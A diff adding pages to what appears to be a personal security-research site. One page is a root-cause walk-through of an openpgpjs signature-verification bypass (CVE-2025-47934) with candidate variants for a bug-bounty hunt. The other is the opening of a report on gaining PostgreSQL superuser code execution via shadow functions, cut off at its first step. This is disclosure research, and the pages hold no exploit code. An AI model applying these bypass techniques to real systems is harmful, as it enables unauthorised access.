| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/openpgpjs-cve-2025-47934-rootcause/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="openpgpjs-v6 hunt - iteration 1 | Zion Boggan"> | |
| + | <meta property="og:description" content="Root-cause walk-through of CVE-2025-47934 (signature-verification bypass via `msg.packets` mutation) and a variant search against the v6.2.0 compressi"> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/openpgpjs-cve-2025-47934-rootcause/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="openpgpjs-v6 hunt - iteration 1 | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Root-cause walk-through of CVE-2025-47934 (signature-verification bypass via `msg.packets` mutation) and a variant search against the v6.2.0 compressi"> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"openpgpjs-v6 hunt - iteration 1","description":"Root-cause walk-through of CVE-2025-47934 (signature-verification bypass via `msg.packets` mutation) and a variant search against the v6.2.0 compressi","url":"https://zionboggan.com/security-research-notebook/openpgpjs-cve-2025-47934-rootcause/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Methodology</div> | |
| + | <h1>openpgpjs-v6 hunt, iteration 1</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p>Time: 2026-04-17 ~07:10 UTC | |
| + | Target: openpgpjs (YWH program: openpgp-js-bug-bounty-program, sponsored by Sovereign Tech Agency, €10k critical)</p> | |
| + | <h2>Confirmed in scope</h2> | |
| + | <ul> | |
| + | <li>YWH program URL: https://yeswehack.com/programs/openpgp-js-bug-bounty-program</li> | |
| + | <li>Acknowledged in GHSA-8qff-qr5q-5pr8 (CVE-2025-47934).</li> | |
| + | </ul> | |
| + | <h2>Patched bug, CVE-2025-47934</h2> | |
| + | <ul> | |
| + | <li>v6.1.0 → v6.1.1 patched in <code>src/message.js</code> <code>verify()</code> (lines 591-606).</li> | |
| + | <li>Root cause: <code>verify()</code> mutated <code>msg.packets</code> by <code>push(...)</code>-ing packets drained from the message stream. The <code>literalDataList</code> was computed BEFORE the mutation; signatures were verified against <code>literalDataList[0]</code> (the original/legit literal data). After verify returned, <code>openpgp.verify</code> wrapper called <code>message.getLiteralData()</code> which uses <code>msg.packets.findPacket(literalData)</code>, which now returns the FIRST literal data, but the streamed (post-mutation) literal data ends up in <code>result.data</code> via the linked stream.</li> | |
| + | <li>Fix: use a local <code>packets</code> variable that is <code>packets.concat(streamed)</code> instead of mutating <code>msg.packets</code>.</li> | |
| + | </ul> | |
| + | <h2>Variant candidates to chase next iteration</h2> | |
| + | <h3>Candidate A, Compression Streams refactor (commit fccbc3ec, in 6.2.0+)</h3> | |
| + | <p>Big rewrite of <code>compressed_data.js</code> for native Compression Streams API. The new flow: | |
| + | - Decompress: pulls <code>this.compressed</code> through a web stream, then ArrayStream-back if not originally a stream. | |
| + | - The decompressed bytes are then handed to <code>PacketList.fromBinary</code>/parser as a stream.</p> | |
| + | <p>Risk: nested compressed messages with attacker-shaped inner packets may bypass the local-packets fix because <code>unwrapCompressed()</code> (line 656) returns <code>new Message(compressed[0].packets)</code>, the inner packets list. Subsequent verify on inner packets uses the same <code>packets.concat(stream)</code> pattern, but <code>getLiteralData()</code> (line 318) calls <code>unwrapCompressed()</code> AGAIN, so on the OUTER message it traverses to inner.packets which may now have been further mutated by stream parsing in another async path.</p> | |
| + | <h3>Candidate B, <code>decrypt</code> flow re-verification</h3> | |
| + | <p>Per advisory, <code>decrypt</code> with <code>verificationKeys</code> is also affected. The fix path goes through <code>verify()</code> so should be covered, BUT: <code>decrypt</code> returns a NEW <code>Message(symEncryptedPacket.packets)</code> (line 148) and then sets <code>symEncryptedPacket.packets = new PacketList()</code>. If the inner packets list still has a live <code>.stream</code> reference, subsequent verify→getLiteralData on the new Message has the same window. Need to check whether the inner stream gets a <code>concat</code> or stays mutated.</p> | |
| + | <h3>Candidate C, <code>appendSignature</code> (line 669)</h3> | |
| + | <pre><code class="language-js">async appendSignature(detachedSignature, config) { | |
| + | await this.packets.read( | |
| + | util.isUint8Array(detachedSignature) ? detachedSignature : (await unarmor(detachedSignature)).data, | |
| + | allowedDetachedSignaturePackets, | |
| + | config | |
| + | ); | |
| + | } | |
| + | </code></pre> | |
| + | <p>This calls <code>this.packets.read(...)</code>, does <code>read</code> mutate? <code>PacketList.read</code> typically appends to <code>this</code>. So <code>appendSignature</code> MUTATES <code>msg.packets</code>. If a caller does: | |
| + | 1. <code>msg = readMessage(M_evil)</code> → msg.packets has [literal(P_evil)] | |
| + | 2. <code>msg.appendSignature(legitSigOverPlegit)</code> → msg.packets = [literal(P_evil), sig(legit over P_legit)] | |
| + | 3. <code>verify(msg, key)</code>, sig is genuine over P_legit, but literalDataList[0] = P_evil → <code>signature.verify</code> should reject because hash mismatch.</p> | |
| + | <p>So C might not work, verify computes hash of literalDataList[0] and compares with the sig’s hashed digest. They won’t match.</p> | |
| + | <p>UNLESS the sig’s hashed digest can be made to match by attacker controlling P_evil to be a near-collision of P_legit (cryptographic). Out of scope.</p> | |
| + | <h2>Next iteration plan</h2> | |
| + | <ol> | |
| + | <li>Run a streaming PoC against 6.1.0 to confirm the canonical bug fires.</li> | |
| + | <li>Run the same PoC structure against 6.3.0 to confirm patched.</li> | |
| + | <li>Then mutate the PoC to use compressed-data wrapper with attacker-controlled inner literal, see if 6.3.0 still leaks in the linkStreams/result.data path.</li> | |
| + | <li>If candidate A holds: write report. If not, pivot to OpenPGP.js v5 line and check if 5.11.3 fix is structurally identical (variants may exist on the v5 line that don’t backport cleanly).</li> | |
| + | </ol> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · methodology/openpgpjs-cve-2025-47934-rootcause.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,346 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions | Zion Boggan</title> | |
| + | <meta name="description" content="Autovacuum executes attacker-defined function under the SECURITY_RESTRICTED bypass path."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/pg-autovacuum-code-execution/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions | Zion Boggan"> | |
| + | <meta property="og:description" content="Autovacuum executes attacker-defined function under the SECURITY_RESTRICTED bypass path."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/pg-autovacuum-code-execution/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Autovacuum executes attacker-defined function under the SECURITY_RESTRICTED bypass path."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions","description":"Autovacuum executes attacker-defined function under the SECURITY_RESTRICTED bypass path.","url":"https://zionboggan.com/security-research-notebook/pg-autovacuum-code-execution/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Code execution</div> | |
| + | <h1>Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Metadata</h2> | |
| + | <ul> | |
| + | <li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li> | |
| + | <li><strong>Target Location</strong>: Aiven for PostgreSQL</li> | |
| + | <li><strong>Target Category</strong>: Other</li> | |
| + | <li><strong>VRT</strong>: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA</li> | |
| + | <li><strong>Priority</strong>: P2 (Suggested)</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Title</h2> | |
| + | <p>Authenticated User Achieves Superuser Code Execution via Autovacuum ANALYZE on Expression Index with Shadow Function</p> | |
| + | <h2>Summary</h2> | |
| + | <p>Any authenticated <code>avnadmin</code> user can execute arbitrary PL/pgSQL code in the context of the <code>autovacuum</code> background worker (<code>session_user=postgres</code>, superuser) by:</p> | |
| + | <ol> | |
| + | <li>Creating a shadow function in <code>public</code> schema that overrides a <code>pg_catalog</code> function using implicit cast type differences (bypassing <code>aiven_gatekeeper</code>)</li> | |
